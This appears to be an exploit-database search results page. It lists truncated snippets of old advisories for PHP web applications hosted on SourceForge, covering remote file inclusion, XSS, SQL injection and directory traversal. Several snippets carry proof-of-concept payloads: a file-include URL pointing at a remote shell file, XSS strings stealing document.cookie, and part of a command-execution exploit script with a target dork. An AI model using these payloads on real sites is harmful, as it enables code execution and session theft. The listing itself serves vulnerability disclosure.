2611 matches found
gnopaste <= 0.5.3 (common.php) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ================================================================ gnopaste = 0.5.3 common.php Remote File Include Vulnerability ================================================================ gnopaste = 0.5.3 - Remote File Include...
gnopaste 0.5.3 - 'common.php' Remote File Inclusion
gnopaste = 0.5.3 - Remote File Include Vulnerabilities Script site: http://sourceforge.net/projects/gnopaste made by SmokeZ [email protected] http://www.site.com/gnopastepath/includes/common.php?rootpath=SHELLCODEURL.txt? milw0rm.com 2006-05-30...
Hot Open Tickets <= 11012004 (CLASS_PATH) Remote Include Vuln
No description provided by source. DEVIL TEAM THE BEST POLISH TEAM HOT Hot Open Tickets hot11012004ver2f - Remote File Include Vulnerabilities Find by Kacper Rahim. Greetings For ALL DEVIL TEAM members, Special DragonHeart : Contact: [email protected] or http://www.devilteam.yum.pl Site scripts...
Hot Open Tickets 11012004 - CLASS_PATH Remote File Inclusion
Hot Open Tickets 11012004 - CLASSPATH Remote File Inclusion DEVIL TEAM THE BEST POLISH TEAM HOT Hot Open Tickets hot11012004ver2f - Remote File Include Vulnerabilities Find by Kacper Rahim. Greetings For ALL DEVIL TEAM members, Special DragonHeart : Contact: [email protected] or...
Hot Open Tickets 11012004 - 'CLASS_PATH' Remote File Inclusion
DEVIL TEAM THE BEST POLISH TEAM HOT Hot Open Tickets hot11012004ver2f - Remote File Include Vulnerabilities Find by Kacper Rahim. Greetings For ALL DEVIL TEAM members, Special DragonHeart : Contact: [email protected] or http://www.devilteam.yum.pl Site scripts:...
OpenFAQ - HTML injection and XSS (Cross Site Scripting)
Script: OpenFAQ Version: 0.4.0 previous version probably too. Language: PHP Problem: HTML injection and XSS Cross Site Scripting Vendor: http://sourceforge.net/projects/openfaq Discovered by: Kamil 'K3' Sienicki Description: OpenFAQ is a PHP application that lets Webmasters administrate a...
phpmychat_015dev_xpl
!/usr/bin/php -q -d shortopentag=on works with magicquotesgpc=Off\r\n\r\n"; echo "dork: intext:"2000-2001 The phpHeaven Team" -sourceforge\r\n\r\n"; if $argc4 echo "Usage: php ".$argv0." host path cmd OPTIONS\r\n"; echo "host: target server ip/hostname\r\n"; echo "path: path to PHPMyChat\r\n";...
sfXSS.txt
index-sf.html?usemirror=XSS http://prdownloads.sourceforge.net/index-sf.html?usemirror="alertdocument.cookie http://prdownloads.sourceforge.net/index-sf.html?usemirror="alert'Liz0ziM' http://prdownloads.sourceforge.net/index-sf.html?usemirror="alertdocument.domain BiyoSecurityTEam...
CGI Calendar XSS Vulnerability
CGI Calendar XSS Vulnerability Software: CGI Calendar Version: 2.7 http://cgicalendar.sourceforge.net/ Description: an online calendar implemented using CGI technology Vulnerability: Cross-Site Scripting Exploit:...
NOCC Webmail <= 1.0 multiple vulnerabilities
------ NOCC Webmail = 1.0 multiple arbitrary local inclusion + ---------------- php injection - remote code execution / / cross site scripting / path disclosure -------------------------------------------------------------------------------- software: site: http://nocc.sourceforge.net/ descriptio...
[Full-disclosure] XSS in PlaySMS
I Found an XSS Vulnerability in PlaySmS Site: playsms.sourceforge.net PoC: www.target.com/playsms/index.php?err=scriptalertdocument.cookie;/script Salam http://mohajali.lezr.org -- ®.....Now I Am Become Death....The Destroyer Of Worlds....©...
PowerPortal Cross-Site Scripting Vulnerability
NightWarriorKurdish Hacker nightwarrior771athotmail.com PowerPortal Cross-Site Scripting Vulnerability Contact :nightwarrior771athotmail.com http://powerportal.sourceforge.net/ Vuln XSS : http://www.example.com/modules/content/search.php?func=results&search=XSS...
[eVuln] Benders Calendar SQL Injection
New eVuln Advisory: Benders Calendar SQL Injection http://evuln.com/vulns/30/summary/bt/ --------------------Summary---------------- Software: Benders Calendar Sowtware's Web Site: http://sourceforge.net/projects/benderscalendar/ Versions: 1.0 Critical Level: Harmless Type: SQL Injection Class:...
[SA18372] WebGUI Form Module Script Insertion Vulnerability
TITLE: WebGUI Form Module Script Insertion Vulnerability SECUNIA ADVISORY ID: SA18372 VERIFY ADVISORY: http://secunia.com/advisories/18372/ CRITICAL: Less critical IMPACT: Cross Site Scripting WHERE: From remote SOFTWARE: WebGUI 6.x http://secunia.com/product/4293/ DESCRIPTION: Hans Wolters has...
[eVuln] TheWebForum Script Insertion and Authentication Bypass
New eVuln Advisory: TheWebForum Script Insertion and Authentication Bypass --------------------Summary---------------- Vendor: TheWebForum Group Software: TheWebForum Sowtware's Web Site: http://sourceforge.net/projects/twf/ Versions: 1.2.1 Critical Level: Moderate Type: Multiple Vulnerabilities...
playsmsXSS.txt
I Found an XsS vulnerability in the playsms script.... website: playsms.sourceforge.net POC: www.target.com/playsms/index.php?err=XSShere r.....Now I Am Become Death....The Destroyer Of Worlds....c...
Remote file include in Q-News
Language: PHP Script: Q-News Version: 2.0 Official website: http://sourceforge.net/projects/q-news/ Problem: Remote file inclusion Discovered by: GB Description: =========== Q-News is a Quick News generator written in PHP that generates small text files that can be included a site, it has a lot o...
[Full-disclosure] Torrential 1.2 getdox.php Directory Traversal
I was poking around my own server because I had an installation of torrential and found this vuln. The problem lies in getdox.php. It works by taking an argument after a "/". This specifies a file. The DOX folder that it grabs the files from is located int /dox such that / is the directory that t...
phpFusion600206.txt
PHP-Fusion Date: Nov. 16 2005 Vendor: http://sourceforge.net/projects/php-fusion/ Description: "...a light-weight open-source content management system CMS written in PHP. It utilises a mySQL database to store your site content and includes a simple, comprehensive adminstration system. PHP-Fusion...
Yapig: XSS / Code Injection Vulnerability
=========================================================== Yapig: XSS / Code Injection Vulnerability =========================================================== Technical University of Vienna Security Advisory TUVSA-0510-001, October 13, 2005...